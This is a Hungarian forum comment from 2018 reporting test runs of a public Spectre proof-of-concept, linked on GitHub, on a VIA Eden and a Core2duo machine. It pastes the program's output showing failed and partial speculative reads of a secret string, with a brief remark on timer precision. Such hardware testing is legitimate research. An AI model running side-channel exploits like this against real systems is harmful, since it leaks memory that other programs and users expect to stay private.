( gemnon | 2018. 01. 13., szo – 14:29 )

Igen, ez lehet az oka :) Itt van frissített kód:
https://github.com/crozone/SpectrePoC

Bár NORDTSCP-vel fordítva az VIA Eden ahogy várható volt:


Using a cache hit threshold of 80.
Build: RDTSCP_NOT_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Reading at malicious_x = 000000A0... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A1... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A2... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A3... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A4... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A5... Success: 0xFF=Æ?Æ score=0
Reading at malicious_x = 000000A6... Success: 0xFF=Æ?Æ score=0

(majdnemXP :)) W2K3 Core2duo:


Using a cache hit threshold of 80.
Build: RDTSCP_NOT_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED 
Reading 40 bytes:
Reading at malicious_x = 000000A0... Unclear: 0x0D=’?’ score=61 (second best: 0x0E=’?’ score=60)
Reading at malicious_x = 000000A1... Unclear: 0x0E=’?’ score=58 (second best: 0x0D=’?’ score=57)
Reading at malicious_x = 000000A2... Unclear: 0x05=’?’ score=61 (second best: 0x0E=’?’ score=60)
Reading at malicious_x = 000000A3... Unclear: 0x0E=’?’ score=61 (second best: 0x05=’?’ score=60)
Reading at malicious_x = 000000A4... Unclear: 0x05=’?’ score=57 (second best: 0x0E=’?’ score=56)
Reading at malicious_x = 000000A5... Unclear: 0x05=’?’ score=42 (second best: 0x0E=’?’ score=41)
Reading at malicious_x = 000000A6... Success: 0x67=’g’ score=2 
Reading at malicious_x = 000000A7... Success: 0x69=’i’ score=2 
Reading at malicious_x = 000000A8... Unclear: 0x05=’?’ score=28 (second best: 0x0E=’?’ score=27)
Reading at malicious_x = 000000A9... Unclear: 0x05=’?’ score=11 (second best: 0x0E=’?’ score=10)
Reading at malicious_x = 000000AA... Unclear: 0x0E=’?’ score=17 (second best: 0x05=’?’ score=17)
Reading at malicious_x = 000000AB... Unclear: 0x05=’?’ score=61 (second best: 0x0E=’?’ score=59)
Reading at malicious_x = 000000AC... Unclear: 0x05=’?’ score=62 (second best: 0x0E=’?’ score=61)
Reading at malicious_x = 000000AD... Unclear: 0x05=’?’ score=28 (second best: 0x0E=’?’ score=26)
Reading at malicious_x = 000000AE... Success: 0x73=’s’ score=2 
Reading at malicious_x = 000000AF... Success: 0x0E=’?’ score=2 
Reading at malicious_x = 000000B0... Success: 0x0E=’?’ score=2 
Reading at malicious_x = 000000B1... Unclear: 0x0E=’?’ score=62 (second best: 0x0D=’?’ score=62)
Reading at malicious_x = 000000B2... Unclear: 0x05=’?’ score=61 (second best: 0x0E=’?’ score=60)
Reading at malicious_x = 000000B3... Unclear: 0x0D=’?’ score=58 (second best: 0x05=’?’ score=57)
Reading at malicious_x = 000000B4... Unclear: 0x0E=’?’ score=62 (second best: 0x0D=’?’ score=62)
Reading at malicious_x = 000000B5... Unclear: 0x05=’?’ score=59 (second best: 0x0E=’?’ score=57)
Reading at malicious_x = 000000B6... Unclear: 0x05=’?’ score=56 (second best: 0x0D=’?’ score=55)
Reading at malicious_x = 000000B7... Unclear: 0x0E=’?’ score=59 (second best: 0x0D=’?’ score=58)
Reading at malicious_x = 000000B8... Unclear: 0x0E=’?’ score=12 (second best: 0x05=’?’ score=12)
Reading at malicious_x = 000000B9... Unclear: 0x0E=’?’ score=26 (second best: 0x05=’?’ score=25)
Reading at malicious_x = 000000BA... Success: 0x69=’i’ score=2 
Reading at malicious_x = 000000BB... Success: 0x73=’s’ score=2 
Reading at malicious_x = 000000BC... Success: 0x68=’h’ score=2 
Reading at malicious_x = 000000BD... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 000000BE... Success: 0x0F=’?’ score=2 
Reading at malicious_x = 000000BF... Success: 0x73=’s’ score=2 
Reading at malicious_x = 000000C0... Success: 0x73=’s’ score=2 
Reading at malicious_x = 000000C1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 000000C2... Unclear: 0x0E=’?’ score=13 (second best: 0x05=’?’ score=12)
Reading at malicious_x = 000000C3... Unclear: 0x0E=’?’ score=58 (second best: 0x0D=’?’ score=56)
Reading at malicious_x = 000000C4... Unclear: 0x0E=’?’ score=58 (second best: 0x0D=’?’ score=58)
Reading at malicious_x = 000000C5... Success: 0x67=’g’ score=59 (second best: 0x0E=’?’ score=27)
Reading at malicious_x = 000000C6... Unclear: 0x0E=’?’ score=18 (second best: 0x0D=’?’ score=17)
Reading at malicious_x = 000000C7... Unclear: 0x05=’?’ score=59 (second best: 0x0E=’?’ score=58)

Gondolom a timer miatt pontatlanabb, de látszik, hogy ugyanúgy működik. :)
Sajnos (vagy inkább szerencsére) nincs a közelembe XP olyan CPU-val ami RDTSCP támogat (de gondolom ugyanaz lenne az eredmény mint bármi máson :))